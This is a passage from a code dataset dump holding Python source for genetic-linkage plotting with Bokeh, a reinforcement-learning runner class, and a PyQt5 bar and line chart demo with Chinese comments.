str(snp_coords[i-1][1])+\":\"+str(snp_coords[i-1][2])+\", \"+snp_coords[i][0] + \\\n                \"=chr\"+str(snp_coords[i][1])+\":\"+str(snp_coords[i][2])+\". \" + str(output[\"warning\"] if \"warning\" in output else \"\")\n            return(json.dumps(output, sort_keys=True, indent=2))\n    return\n\ndef check_allele(geno):\n    if len(geno[3]) == 1 and len(geno[4]) == 1:\n        snp_a1 = geno[3]\n        snp_a2 = geno[4]\n    elif len(geno[3]) == 1 and len(geno[4]) > 1:\n        snp_a1 = \"-\"\n        snp_a2 = geno[4][1:]\n    elif len(geno[3]) > 1 and len(geno[4]) == 1:\n        snp_a1 = geno[3][1:]\n        snp_a2 = \"-\"\n    elif len(geno[3]) > 1 and len(geno[4]) > 1:\n        snp_a1 = geno[3][1:]\n        snp_a2 = geno[4][1:]\n\n    allele = {\"0|0\": [snp_a1, snp_a1], \"0|1\": [snp_a1, snp_a2], \"1|0\": [snp_a2, snp_a1], \"1|1\": [\n        snp_a2, snp_a2], \"0\": [snp_a1, \".\"], \"1\": [snp_a2, \".\"], \"./.\": [\".\", \".\"], \".\": [\".\", \".\"]}\n    return allele,snp_a1,snp_a2\n\ndef get_head(vcf):\n    h = 0\n    while vcf[h][0:2] == \"##\":\n        h += 1\n    head = vcf[h].strip().split() \n    vcf = vcf[h+1:]\n    return vcf, head\n\ndef get_geno(vcf,snp):\n    vcf,h = get_head(vcf)\n    if len(vcf) > 1:\n        for i in range(len(vcf)):\n            #if vcf[i].strip().split()[2] == snp:\n            geno = vcf[i].strip().split()\n            geno[0] = geno[0].lstrip('chr')     \n    else:\n        geno = vcf[0].strip().split()\n        geno[0] = geno[0].lstrip('chr')\n    return geno\n\ndef chunkWindow(pos, window, num_subprocesses):\n    if (pos - window <= 0):\n        minPos = 0\n    else:\n        minPos = pos - window\n    maxPos = pos + window\n    windowRange = maxPos - minPos\n    chunks = []\n    newMin = minPos\n    newMax = 0\n    for _ in range(num_subprocesses):\n        newMax = newMin + (windowRange / num_subprocesses)\n        chunks.append([math.ceil(newMin), math.ceil(newMax)])\n        newMin = newMax + 1\n    return chunks\n\n# collect output in parallel\ndef get_output(process):\n    return process.communicate()[0].splitlines()\n\ndef get_forgeDB(db,rs):\n    result = db.forge_score.find_one({\"snp_id\": str(rs)})\n    if result is None:\n        return \"\"   \n    else:\n        return result[\"score\"]\ndef get_regDB(db,genome_build,chr, pos):\n    result = db.regulome.find_one({genome_build_vars[genome_build]['chromosome']: str(chr), genome_build_vars[genome_build]['position']: int(pos)})\n    if result is None:\n        return \".\"   \n    else:\n        return result[\"score\"]\n#################\ndef ldproxy_figure(out_ld_sort, r2_d,coord1,coord2,snp,pop,request,db,snp_coord,genome_build,collapseTranscript,annotate):\n    q_rs = []\n    q_allele = []\n    q_coord = []\n    q_maf = []\n    p_rs = []\n    p_allele = []\n    p_coord = []\n    p_maf = []\n    dist = []\n    d_prime = []\n    d_prime_round = []\n    r2 = []\n    r2_round = []\n    corr_alleles = []\n    regdb = []\n    forgedb = []\n    funct = []\n    color = []\n    size = []\n    for i in range(len(out_ld_sort)):\n        q_rs_i, q_allele_i, q_coord_i, p_rs_i, p_allele_i, p_coord_i, dist_i, d_prime_i, r2_i, corr_alleles_i, forgedb_i,regdb_i,q_maf_i, p_maf_i, funct_i, dist_abs = out_ld_sort[\n            i]\n\n        if float(r2_i) > 0.01:\n            q_rs.append(q_rs_i)\n            q_allele.append(q_allele_i)\n            q_coord.append(float(q_coord_i.split(\":\")[1]) / 1000000)\n            q_maf.append(str(round(float(q_maf_i), 4)))\n            if p_rs_i == \".\":\n                p_rs_i = p_coord_i\n            p_rs.append(p_rs_i)\n            p_allele.append(p_allele_i)\n            p_coord.append(float(p_coord_i.split(\":\")[1]) / 1000000)\n            p_maf.append(str(round(float(p_maf_i), 4)))\n            dist.append(str(round(dist_i / 1000000.0, 4)))\n            d_prime.append(float(d_prime_i))\n            d_prime_round.append(str(round(float(d_prime_i), 4)))\n            r2.append(float(r2_i))\n            r2_round.append(str(round(float(r2_i), 4)))\n            corr_alleles.append(corr_alleles_i)\n\n            # Correct Missing Annotations\n            if regdb_i == \".\":\n                regdb_i = \"\"\n            regdb.append(regdb_i)\n            forgedb.append(forgedb_i)\n            if funct_i == \".\":\n                funct_i = \"\"\n            if funct_i == \"NA\":\n                funct_i = \"none\"\n            funct.append(funct_i)\n\n            # Set Color\n            if i == 0:\n                color_i = \"blue\"\n            elif funct_i != \"none\" and funct_i != \"\":\n                color_i = \"red\"\n            else:\n                color_i = \"orange\"\n            color.append(color_i)\n\n            # Set Size\n            size_i = 9 + float(p_maf_i) * 14.0\n            size.append(size_i)\n\n    # Begin Bokeh Plotting\n    from collections import OrderedDict\n    from bokeh.embed import components, file_html\n    from bokeh.layouts import gridplot\n    from bokeh.models import HoverTool, LinearAxis, Range1d\n    from bokeh.plotting import ColumnDataSource, curdoc, figure, output_file, reset_output, save\n    from bokeh.resources import CDN\n\n    reset_output()\n    plot_h_pix = 0\n    # Proxy Plot\n    x = p_coord\n    if r2_d == \"r2\":\n        y = r2\n    else:\n        y = d_prime\n    whitespace = 0.01\n    xr = Range1d(start=coord1 / 1000000.0 - whitespace,\n                end=coord2 / 1000000.0 + whitespace)\n    yr = Range1d(start=-0.03, end=1.03)\n    sup_2 = \"\\u00B2\"\n\n    proxy_plot = figure(\n        title=\"Proxies for \" + snp + \" in \" + pop,\n        min_border_top=2, min_border_bottom=2, min_border_left=60, min_border_right=60, h_symmetry=False, v_symmetry=False,\n        plot_width=900,\n        plot_height=600,\n        x_range=xr, y_range=yr,\n        tools=\"hover,tap,pan,box_zoom,box_select,undo,redo,reset,previewsave\", logo=None,\n        toolbar_location=\"above\")\n\n    proxy_plot.title.align = \"center\"\n\n    # Add recombination rate\n    recomb_file = tmp_dir + \"recomb_\" + request + \".json\"\n    recomb_json = getRecomb(db, recomb_file, snp_coord['chromosome'], coord1 - whitespace, coord2 + whitespace, genome_build)\n\n    recomb_x = []\n    recomb_y = []\n\n    for recomb_obj in recomb_json:\n        recomb_x.append(int(recomb_obj[genome_build_vars[genome_build]['position']]) / 1000000.0)\n        recomb_y.append(float(recomb_obj['rate']) / 100.0)\n\n    data = {\n        'x': x,\n        'y': y,\n        'qrs': q_rs,\n        'q_alle': q_allele,\n        'q_maf': q_maf,\n        'prs': p_rs,\n        'p_alle': p_allele,\n        'p_maf': p_maf,\n        'dist': dist,\n        'r': r2_round,\n        'd': d_prime_round,\n        'alleles': corr_alleles,\n        'forgedb':forgedb,\n        'regdb': regdb,\n        'funct': funct,\n        'size': size,\n        'color': color\n    }\n    source = ColumnDataSource(data)\n\n    proxy_plot.line(recomb_x, recomb_y, line_width=1, color=\"black\", alpha=0.5)\n\n    proxy_plot.circle(x='x', y='y', size='size',\n                    color='color', alpha=0.5, source=source)\n\n    hover = proxy_plot.select(dict(type=HoverTool))\n    hover.tooltips = OrderedDict([\n        (\"Query Variant\", \"@qrs @q_alle\"),\n        (\"Proxy Variant\", \"@prs @p_alle\"),\n        (\"Distance (Mb)\", \"@dist\"),\n        (\"MAF (Query,Proxy)\", \"@q_maf,@p_maf\"),\n        (\"R\" + sup_2, \"@r\"),\n        (\"D\\'\", \"@d\"),\n        (\"Correlated Alleles\", \"@alleles\"),\n        (\"FORGEdb Score\", \"@forgedb\"),\n        (\"RegulomeDB Rank\", \"@regdb\"),\n        (\"Functional Class\", \"@funct\"),\n    ])\n\n    if annotate == \"regulome\":\n        proxy_plot.text(x, y, text=regdb, alpha=1, text_font_size=\"7pt\",\n                    text_baseline=\"middle\", text_align=\"center\", angle=0)\n    elif annotate == \"forge\":\n        proxy_plot.text(x, y, text=forgedb, alpha=1, text_font_size=\"7pt\",\n                    text_baseline=\"middle\", text_align=\"center\", angle=0)\n   \n    if r2_d == \"r2\":\n        proxy_plot.yaxis.axis_label = \"R\" + sup_2\n    else:\n        proxy_plot.yaxis.axis_label = \"D\\'\"\n\n    proxy_plot.extra_y_ranges = {\"y2_axis\": Range1d(start=-3, end=103)}\n    proxy_plot.add_layout(LinearAxis(y_range_name=\"y2_axis\",\n                                    axis_label=\"Combined Recombination Rate (cM/Mb)\"), \"right\")\n\n    # Rug Plot\n    y2_ll = [-0.03] * len(x)\n    y2_ul = [1.03] * len(x)\n    yr_rug = Range1d(start=-0.03, end=1.03)\n\n    data_rug = {\n        'x': x,\n        'y': y,\n        'y2_ll': y2_ll,\n        'y2_ul': y2_ul,\n        'qrs': q_rs,\n        'q_alle': q_allele,\n        'q_maf': q_maf,\n        'prs': p_rs,\n        'p_alle': p_allele,\n        'p_maf': p_maf,\n        'dist': dist,\n        'r': r2_round,\n        'd': d_prime_round,\n        'alleles': corr_alleles,\n        'forgedb':forgedb,\n        'regdb': regdb,\n        'funct': funct,\n        'size': size,\n        'color': color\n    }\n    source_rug = ColumnDataSource(data_rug)\n\n    rug = figure(\n        x_range=xr, y_range=yr_rug, border_fill_color='white', y_axis_type=None,\n        title=\"\", min_border_top=2, min_border_bottom=2, min_border_left=60, min_border_right=60, h_symmetry=False, v_symmetry=False,\n        plot_width=900, plot_height=50, tools=\"xpan,tap\", logo=None)\n\n    rug.segment(x0='x', y0='y2_ll', x1='x', y1='y2_ul', source=source_rug,\n                color='color', alpha=0.5, line_width=1)\n    rug.toolbar_location = None\n\n    if collapseTranscript == \"false\":\n        # Gene Plot (All Transcripts)\n        genes_file = tmp_dir + \"genes_\" + request + \".json\"\n        genes_json = getRefGene(db, genes_file, snp_coord['chromosome'], int(coord1), int(coord2), genome_build, False)\n        #genes_json = open(genes_file).readlines()\n        genes_plot_start = []\n        genes_plot_end = []\n        genes_plot_y = []\n        genes_plot_name = []\n        exons_plot_x = []\n        exons_plot_y = []\n        exons_plot_w = []\n        exons_plot_h = []\n        exons_plot_name = []\n        exons_plot_id = []\n        exons_plot_exon = []\n        lines = [0]\n        gap = 80000\n        tall = 0.75\n        if genes_json != None and len(genes_json) > 0:\n            for gene_obj in genes_json:\n                bin = gene_obj[\"bin\"]\n                name_id = gene_obj[\"name\"]\n                chrom = gene_obj[\"chrom\"]\n                strand = gene_obj[\"strand\"]\n                txStart = gene_obj[\"txStart\"]\n                txEnd = gene_obj[\"txEnd\"]\n                cdsStart = gene_obj[\"cdsStart\"]\n                cdsEnd = gene_obj[\"cdsEnd\"]\n                exonCount = gene_obj[\"exonCount\"]\n                exonStarts = gene_obj[\"exonStarts\"]\n                exonEnds = gene_obj[\"exonEnds\"]\n                score = gene_obj[\"score\"]\n                name2 = gene_obj[\"name2\"]\n                cdsStartStat = gene_obj[\"cdsStartStat\"]\n                cdsEndStat = gene_obj[\"cdsEndStat\"] \n                exonFrames = gene_obj[\"exonFrames\"]\n                name = name2\n                id = name_id\n                e_start = exonStarts.split(\",\")\n                e_end = exonEnds.split(\",\")\n\n                # Determine Y Coordinate\n                i = 0\n                y_coord = None\n                while y_coord == None:\n                    if i > len(lines) - 1:\n                        y_coord = i + 1\n                        lines.append(int(txEnd))\n                    elif int(txStart) > (gap + lines[i]):\n                        y_coord = i + 1\n                        lines[i] = int(txEnd)\n                    else:\n                        i += 1\n\n                genes_plot_start.append(int(txStart) / 1000000.0)\n                genes_plot_end.append(int(txEnd) / 1000000.0)\n                genes_plot_y.append(y_coord)\n                genes_plot_name.append(name + \"  \")\n\n                for i in range(len(e_start) - 1):\n                    if strand == \"+\":\n                        exon = i + 1\n                    else:\n                        exon = len(e_start) - 1 - i\n\n                    width = (int(e_end[i]) - int(e_start[i])) / 1000000.0\n                    x_coord = int(e_start[i]) / 1000000.0 + (width / 2)\n\n                    exons_plot_x.append(x_coord)\n                    exons_plot_y.append(y_coord)\n                    exons_plot_w.append(width)\n                    exons_plot_h.append(tall)\n                    exons_plot_name.append(name)\n                    exons_plot_id.append(id)\n                    exons_plot_exon.append(exon)\n\n        n_rows = len(lines)\n        genes_plot_yn = [n_rows - x + 0.5 for x in genes_plot_y]\n        exons_plot_yn = [n_rows - x + 0.5 for x in exons_plot_y]\n        yr2 = Range1d(start=0, end=n_rows)\n\n        data_gene_plot = {\n            'exons_plot_x': exons_plot_x,\n            'exons_plot_yn': exons_plot_yn,\n            'exons_plot_w': exons_plot_w,\n            'exons_plot_h': exons_plot_h,\n            'exons_plot_name': exons_plot_name,\n            'exons_plot_id': exons_plot_id,\n            'exons_plot_exon': exons_plot_exon\n        }\n\n        source_gene_plot = ColumnDataSource(data_gene_plot)\n        \n        if len(lines) < 3:\n            plot_h_pix = 250\n        else:\n            plot_h_pix = 250 + (len(lines) - 2) * 50\n\n        gene_plot = figure(\n            x_range=xr, y_range=yr2, border_fill_color='white',\n            title=\"\", min_border_top=2, min_border_bottom=2, min_border_left=60, min_border_right=60, h_symmetry=False, v_symmetry=False,\n            plot_width=900, plot_height=plot_h_pix, tools=\"hover,tap,xpan,box_zoom,undo,redo,reset,previewsave\", logo=None)\n\n        gene_plot.segment(genes_plot_start, genes_plot_yn, genes_plot_end,\n                        genes_plot_yn, color=\"black\", alpha=1, line_width=2)\n\n        gene_plot.rect(x='exons_plot_x', y='exons_plot_yn', width='exons_plot_w', height='exons_plot_h',\n                    source=source_gene_plot, fill_color=\"grey\", line_color=\"grey\")\n        gene_plot.xaxis.axis_label = \"Chromosome \" + snp_coord['chromosome'] + \" Coordinate (Mb)(\" + genome_build_vars[genome_build]['title'] + \")\"\n        gene_plot.yaxis.axis_label = \"Genes (All Transcripts)\"\n        gene_plot.ygrid.grid_line_color = None\n        gene_plot.yaxis.axis_line_color = None\n        gene_plot.yaxis.minor_tick_line_color = None\n        gene_plot.yaxis.major_tick_line_color = None\n        gene_plot.yaxis.major_label_text_color = None\n\n        hover = gene_plot.select(dict(type=HoverTool))\n        hover.tooltips = OrderedDict([\n            (\"Gene\", \"@exons_plot_name\"),\n            (\"ID\", \"@exons_plot_id\"),\n            (\"Exon\", \"@exons_plot_exon\"),\n        ])\n\n        gene_plot.text(genes_plot_start, genes_plot_yn, text=genes_plot_name, alpha=1, text_font_size=\"7pt\",\n                    text_font_style=\"bold\", text_baseline=\"middle\", text_align=\"right\", angle=0)\n\n        gene_plot.toolbar_location = \"below\"\n\n        # Combine plots into a grid\n        out_grid = gridplot(proxy_plot, rug, gene_plot, ncols=1,\n                            toolbar_options=dict(logo=None))\n    # Gene Plot (Collapsed)                        \n    else:\n        genes_c_file = tmp_dir + \"genes_c_\" + request + \".json\"\n        genes_c_json = getRefGene(db, genes_c_file, snp_coord['chromosome'], int(coord1), int(coord2), genome_build, True)\n        #genes_c_json = open(genes_c_file).readlines()\n        genes_c_plot_start=[]\n        genes_c_plot_end=[]\n        genes_c_plot_y=[]\n        genes_c_plot_name=[]\n        exons_c_plot_x=[]\n        exons_c_plot_y=[]\n        exons_c_plot_w=[]\n        exons_c_plot_h=[]\n        exons_c_plot_name=[]\n        exons_c_plot_id=[]\n        message_c = [\"Too many genes to plot.\"]\n        lines_c=[0]\n        gap=80000\n        tall=0.75\n        if genes_c_json != None and len(genes_c_json) > 0:\n            for gene_c_obj in genes_c_json:\n                #gene_c_obj = json.loads(gene_c_raw_obj)\n                chrom = gene_c_obj[\"chrom\"]\n                txStart = gene_c_obj[\"txStart\"]\n                txEnd = gene_c_obj[\"txEnd\"]\n                exonStarts = gene_c_obj[\"exonStarts\"]\n                exonEnds = gene_c_obj[\"exonEnds\"]\n                name2 = gene_c_obj[\"name2\"]\n                transcripts = gene_c_obj[\"transcripts\"]\n                name = name2\n                e_start = exonStarts.split(\",\")\n                e_end = exonEnds.split(\",\")\n                e_transcripts=transcripts.split(\",\")\n\n                # Determine Y Coordinate\n                i=0\n                y_coord=None\n                while y_coord==None:\n                    if i>len(lines_c)-1:\n                        y_coord=i+1\n                        lines_c.append(int(txEnd))\n                    elif int(txStart)>(gap+lines_c[i]):\n                        y_coord=i+1\n                        lines_c[i]=int(txEnd)\n                    else:\n                        i+=1\n\n                genes_c_plot_start.append(int(txStart)/1000000.0)\n                genes_c_plot_end.append(int(txEnd)/1000000.0)\n                genes_c_plot_y.append(y_coord)\n                genes_c_plot_name.append(name+\"  \")\n\n                # for i in range(len(e_start)):\n                for i in range(len(e_start)-1):\n                    width=(int(e_end[i])-int(e_start[i]))/1000000.0\n                    x_coord=int(e_start[i])/1000000.0+(width/2)\n\n                    exons_c_plot_x.append(x_coord)\n                    exons_c_plot_y.append(y_coord)\n                    exons_c_plot_w.append(width)\n                    exons_c_plot_h.append(tall)\n                    exons_c_plot_name.append(name)\n                    exons_c_plot_id.append(e_transcripts[i].replace(\"-\",\",\"))\n\n\n        n_rows_c=len(lines_c)\n        genes_c_plot_yn=[n_rows_c-x+0.5 for x in genes_c_plot_y]\n        exons_c_plot_yn=[n_rows_c-x+0.5 for x in exons_c_plot_y]\n        yr2_c=Range1d(start=0, end=n_rows_c)\n\n        data_gene_c_plot = {'exons_c_plot_x': exons_c_plot_x, 'exons_c_plot_yn': exons_c_plot_yn, 'exons_c_plot_w': exons_c_plot_w, 'exons_c_plot_h': exons_c_plot_h, 'exons_c_plot_name': exons_c_plot_name, 'exons_c_plot_id': exons_c_plot_id}\n        source_gene_c_plot=ColumnDataSource(data_gene_c_plot)\n\n        max_genes_c = 40\n        # if len(lines_c) < 3 or len(genes_c_raw) > max_genes_c:\n        if len(lines_c) < 3:\n            plot_h_pix = 250\n        else:\n            plot_h_pix = 250 + (len(lines_c) - 2) * 50\n\n        gene_c_plot = figure(min_border_top=2, min_border_bottom=0, min_border_left=100, min_border_right=5,\n                        x_range=xr, y_range=yr2_c, border_fill_color='white',\n                        title=\"\", h_symmetry=False, v_symmetry=False, logo=None,\n                        plot_width=900, plot_height=plot_h_pix, tools=\"hover,xpan,box_zoom,wheel_zoom,tap,undo,redo,reset,previewsave\")\n\n        # if len(genes_c_raw) <= max_genes_c:\n        gene_c_plot.segment(genes_c_plot_start, genes_c_plot_yn, genes_c_plot_end,\n                            genes_c_plot_yn, color=\"black\", alpha=1, line_width=2)\n        gene_c_plot.rect(x='exons_c_plot_x', y='exons_c_plot_yn', width='exons_c_plot_w', height='exons_c_plot_h',\n                        source=source_gene_c_plot, fill_color=\"grey\", line_color=\"grey\")\n        gene_c_plot.text(genes_c_plot_start, genes_c_plot_yn, text=genes_c_plot_name, alpha=1, text_font_size=\"7pt\",\n                        text_font_style=\"bold\", text_baseline=\"middle\", text_align=\"right\", angle=0)\n        hover = gene_c_plot.select(dict(type=HoverTool))\n        hover.tooltips = OrderedDict([\n            (\"Gene\", \"@exons_c_plot_name\"),\n            (\"Transcript IDs\", \"@exons_c_plot_id\"),\n        ])\n\n        # else:\n        # \tx_coord_text = coord1/1000000.0 + (coord2/1000000.0 - coord1/1000000.0) / 2.0\n        # \tgene_c_plot.text(x_coord_text, n_rows_c / 2.0, text=message_c, alpha=1,\n        # \t\t\t\t   text_font_size=\"12pt\", text_font_style=\"bold\", text_baseline=\"middle\", text_align=\"center\", angle=0)\n\n        gene_c_plot.xaxis.axis_label = \"Chromosome \" + snp_coord['chromosome'] + \" Coordinate (Mb)(\" + genome_build_vars[genome_build]['title'] + \")\"\n        gene_c_plot.yaxis.axis_label = \"Genes (Transcripts Collapsed)\"\n        gene_c_plot.ygrid.grid_line_color = None\n        gene_c_plot.yaxis.axis_line_color = None\n        gene_c_plot.yaxis.minor_tick_line_color = None\n        gene_c_plot.yaxis.major_tick_line_color = None\n        gene_c_plot.yaxis.major_label_text_color = None\n\n        gene_c_plot.toolbar_location = \"below\"\n        \n        out_grid = gridplot(proxy_plot, rug, gene_c_plot,\n                    ncols=1, toolbar_options=dict(logo=None))\n    return (out_grid,proxy_plot,gene_c_plot,rug,plot_h_pix)\n","repo_name":"CBIIT/nci-webtools-dceg-linkage","sub_path":"server/LDcommon.py","file_name":"LDcommon.py","file_ext":"py","file_size_in_byte":47197,"program_lang":"python","lang":"en","doc_type":"code","stars":20,"dataset":"github-code","pt":"35"}
{"seq_id":"9800470","text":"\nimport psutil\nimport time\nimport numpy as np\n\nfrom rllab.misc.ext import set_seed\nfrom rllab.misc import logger\n\nfrom accel_rl.util.quick_args import save_args\nfrom accel_rl.util.misc import make_seed, nbytes_unit\nfrom accel_rl.runners.base import Runner\nfrom accel_rl.runners.prog_bar import ProgBarCounter\n\n\nclass AccelRLBase(Runner):\n\n    def __init__(\n            self,\n            algo,\n            policy,\n            sampler,\n            n_steps,\n            seed=None,\n            affinities=None,\n            use_gpu=True,\n            ):\n        n_steps = int(n_steps)\n        save_args(vars(), underscore=False)\n        if affinities is None:\n            self.affinities = dict()\n        if algo.optimizer.parallelism_tag != self.parallelism_tag:\n            raise TypeError(\"Had mismatched parallelism between Runner ({}) \"\n                \"and Optimizer: {}\".format(self.parallelism_tag,\n                algo.optimizer.parallelism_tag))\n\n    def startup(self, master=True):\n        if self.seed is None:\n            self.seed = make_seed()\n        set_seed(self.seed)\n        env_spec, sample_size, horizon, mid_batch_reset = self.sampler.initialize(\n            seed=self.seed + 1,\n            affinities=self.affinities,\n            discount=getattr(self.algo, \"discount\", None),\n            need_extra_obs=self.algo.need_extra_obs,\n        )\n        self.init_policy(env_spec)\n        self.algo.initialize(\n            policy=self.policy,\n            env_spec=env_spec,\n            sample_size=sample_size,\n            horizon=horizon,\n            mid_batch_reset=mid_batch_reset,\n        )\n        self.sampler.policy_init(self.policy)\n        if master:\n            n_itr = self.get_n_itr(sample_size)\n            self.algo.set_n_itr(n_itr)\n            self.init_logging()\n            return n_itr\n\n    def init_policy(self, env_spec):\n        if self.use_gpu:\n            import theano.gpuarray\n            theano.gpuarray.use(\"cuda\" + str(self.affinities.get(\"gpu\", \"\")))\n        kwargs = {} if not self.policy.recurrent else \\\n            dict(alternating_sampler=self.sampler.alternating)\n        self.policy.initialize(env_spec, **kwargs)\n        flat_params = self.policy.get_param_values(trainable=True)\n        logger.log(\"Policy trainable params -- number: {:,}   size: {:,.1f} \"\n            \"{}\".format(flat_params.size, *nbytes_unit(flat_params.nbytes)))\n        p = psutil.Process()\n        p.cpu_affinity(self.affinities.get(\"gpu_cpus\", p.cpu_affinity()))\n\n    def get_n_itr(self, sample_size):\n        self._sample_size = sample_size\n        self._log_interval_itrs = max(self._log_steps // sample_size, 1)\n        n_itr = max(self.n_steps // sample_size, 1)\n        itr_rem = n_itr % self._log_interval_itrs\n        if itr_rem <= self._log_interval_itrs / 2.:\n            n_itr -= itr_rem\n        else:\n            n_itr += (self._log_interval_itrs - itr_rem)\n        assert n_itr % self._log_interval_itrs == 0\n        n_itr += 1\n        self._n_itr = n_itr\n        logger.log(\"Iterations to run: {}\".format(n_itr))\n        return n_itr\n\n    def init_logging(self):\n        self._opt_infos = {k: list() for k in self.algo.opt_info_keys}\n        self._initial_param_vector = self.policy.get_param_values()\n        self._layerwise_stats = getattr(self.algo, \"layerwise_stats\", False)\n        if self._layerwise_stats:\n            self._param_names = self.policy.param_short_names\n            self._params = self.policy.get_params()\n            self._init_params_values = [p.get_value() for p in self._params]\n        self._start_time = self._last_time = time.time()\n        self.pbar = ProgBarCounter(self._log_interval_itrs)\n\n    def shutdown(self):\n        self.finish_logging()\n        self.sampler.shutdown()\n\n    def finish_logging(self):\n        logger.log('Training complete.')\n        self.pbar.stop()\n\n    def get_itr_snapshot(self, itr):\n        return dict(\n            itr=itr,\n            cum_samples=itr * self._sample_size,\n            policy_param_values=self.policy.get_param_values(),\n        )\n\n    def save_itr_snapshot(self, itr):\n        logger.log(\"saving snapshot...\")\n        params = self.get_itr_snapshot(itr)\n        # params[\"algo\"] = self.algo\n        logger.save_itr_params(itr, params)\n        logger.log(\"saved\")\n\n    def _log_infos(self, traj_infos=None):\n        if traj_infos is None:\n            traj_infos = self._traj_infos\n        if traj_infos:\n            for k in traj_infos[0]:\n                if not k.startswith(\"_\"):\n                    logger.record_tabular_misc_stat(k,\n                        [info[k] for info in traj_infos])\n\n        if self._opt_infos:\n            for k, v in self._opt_infos.items():\n                logger.record_tabular_misc_stat(k, v)\n        self._opt_infos = {k: list() for k in self._opt_infos}  # (reset)\n\n        if self._layerwise_stats:\n            for name, param, init_val in zip(\n                    self._param_names, self._params, self._init_params_values):\n                new_val = param.get_value()\n                diff = new_val - init_val\n                logger.record_tabular(name + \"_Norm\", np.sqrt(np.sum(new_val ** 2)))\n                logger.record_tabular(name + \"_NormFromInit\", np.sqrt(np.sum(diff ** 2)))\n        new_param_vector = self.policy.get_param_values()\n        logger.record_tabular(\"ParamsNorm\", np.sqrt(np.sum(new_param_vector ** 2)))\n        params_diff = new_param_vector - self._initial_param_vector\n        logger.record_tabular(\"NormFromInit\", np.sqrt(np.sum(params_diff ** 2)))\n\n    @property\n    def parallelism_tag(self):\n        return \"single\"\n","repo_name":"astooke/accel_rl","sub_path":"accel_rl/runners/accel_rl_base.py","file_name":"accel_rl_base.py","file_ext":"py","file_size_in_byte":5598,"program_lang":"python","lang":"en","doc_type":"code","stars":47,"dataset":"github-code","pt":"35"}
{"seq_id":"20141165858","text":"# _*_ coding:utf-8 _*_\n# __Author__： zizle\n\nimport random\nfrom PyQt5 import QtWidgets\nfrom PyQt5.QtCore import Qt\nfrom PyQt5.QtGui import QPainter\nfrom PyQt5.QtChart import QChartView, QChart, QBarSeries, QBarSet, QLineSeries\n\n\nclass UseBar(QtWidgets.QWidget):\n    \"\"\"\n    折线图&柱状图使用方式\n    图上的数据获取\n    \"\"\"\n    def __init__(self, *args, **kwargs):\n        super(UseBar, self).__init__(*args, **kwargs)\n        layout = QtWidgets.QVBoxLayout()\n        # 添加控件\n        self.chart_view = QChartView()\n        enlarge_btn = QtWidgets.QPushButton('放大', clicked=self.enlarge_chart)\n        enlarge_btn.setStyleSheet(\"border:none;background-color:rgb(150,100,100); color:rgb(255,255,255);padding:5px;border-radius:5px\")\n        enlarge_btn.setCursor(Qt.PointingHandCursor)\n        self.chart_view.setFixedSize(500, 200)\n        layout.addWidget(self.chart_view, alignment=Qt.AlignTop)\n        layout.addWidget(enlarge_btn, alignment=Qt.AlignTop)\n        layout.addWidget(QtWidgets.QWidget())\n        self.resize(1000, 600)\n        self.setLayout(layout)\n        self.draw_bar()  # 画图\n\n    def draw_bar(self):\n        \"\"\"初始化的图形\"\"\"\n        chart_set = QChart(title='例子', flags=Qt.Widget)\n        chart_set.legend().hide()\n        bar_series = QBarSeries()\n        line_series = QLineSeries()\n        bar_set = QBarSet('')\n        x1_axis = [i for i in range(0, 21)]\n        for idx, _ in enumerate(range(len(x1_axis))):\n            y = float(random.randint(1, 1500))\n            bar_set.append(y)\n            line_series.append(x1_axis[idx], y)\n        bar_series.append(bar_set)\n        chart_set.addSeries(bar_series)\n        chart_set.addSeries(line_series)\n        chart_set.createDefaultAxes()\n        self.chart_view.setChart(chart_set)\n        self.chart_view.setRenderHint(QPainter.Antialiasing)\n\n    def enlarge_chart(self):\n        \"\"\"\n        获取chart中的数据:\n        1、获取图形列表：QChartView.chart().series() -> list of QSeries\n        2、折线图点的数量：QLineSeries.count() -> int\n        3、柱形图的柱子集合列表：QBarSeries.barSets() -> list of QBarSet\n        4、柱形图每个集合中点的数量：QBarSet.count() -> int\n        5、获取折线图的点：QLineSeries.at(index) -> QPointF\n        6、折线图中QPointF转为坐标点：QPointF.x() -> float ; QPointF.y() -> float\n        7、获取柱形图中的点：QBarSet.at(index) -> float\n        \"\"\"\n        data = dict()\n        data['title'] = '例子'\n        line_list = list()\n        bar_list = list()\n        for series in self.chart_view.chart().series():  # 所有图形（每个折线都是一个series）\n            series_data = dict()\n            if isinstance(series, QBarSeries):\n                for bar_set in series.barSets():  # 遍历柱子集合\n                    x1_axis = list()\n                    y1_axis = list()\n                    for i in range(bar_set.count()):  # 获取每个集合中的点\n                        x1_axis.append(i)\n                        y1_axis.append(bar_set.at(i))\n                        # print('柱子图数据', i, \":\", bar_set.at(i))\n                    series_data['x1_axis'] = x1_axis\n                    series_data['y1_axis'] = y1_axis\n                    bar_list.append(series_data)\n\n            elif isinstance(series, QLineSeries):\n                x1_axis = list()\n                y1_axis = list()\n                for i in range(series.count()):\n                    # print('折线图点', i, (series.at(i).x(), series.at(i).y()))\n                    x1_axis.append(series.at(i).x())\n                    y1_axis.append(series.at(i).y())\n                series_data['x1_axis'] = x1_axis\n                series_data['y1_axis'] = y1_axis\n                line_list.append(series_data)\n            else:\n                print('未知图形')\n        data['line'] = line_list\n        data['bar'] = bar_list\n        self.large_view(data)\n\n    def large_view(self, data):\n        \"\"\"放大后的视图\"\"\"\n        # data: {\n        #   'line': [{'x1_axis':[], 'y1_axis':[]},{},{},],\n        #   'bar' : [{'x1_axis':[], 'y1_axis':[]},{},{},],\n        # }\n        new_chart_view = QChartView()\n        chart_set = QChart(title=data['title'])\n        new_chart_view.setChart(chart_set)\n        new_chart_view.setRenderHint(QPainter.Antialiasing)\n        chart_set.legend().hide()\n        for chart_type in data:\n            if chart_type == 'line':\n                for chart_data in data[chart_type]:\n                    line_series = QLineSeries()\n                    for x_idx, x in enumerate(chart_data['x1_axis']):\n                        line_series.append(float(x), float(chart_data['y1_axis'][x_idx]))\n                    chart_set.addSeries(line_series)\n            elif chart_type == 'bar':\n                for chart_data in data[chart_type]:\n                    bar_series = QBarSeries()\n                    bar_set = QBarSet('')\n                    for x_idx, x in enumerate(chart_data['x1_axis']):\n                        bar_set.append(float(chart_data['y1_axis'][x_idx]))\n                    bar_series.append(bar_set)\n                    chart_set.addSeries(bar_series)\n            else:\n                pass\n        chart_set.createDefaultAxes()\n        # 新的显示窗\n        new_widget = QtWidgets.QWidget(self)\n        new_widget.resize(self.width(), self.height())\n        layout = QtWidgets.QVBoxLayout(new_widget)\n        layout.addWidget(new_chart_view)\n        layout.addWidget(QtWidgets.QTableWidget())\n        new_widget.show()\n\n\nif __name__ == '__main__':\n    import sys\n    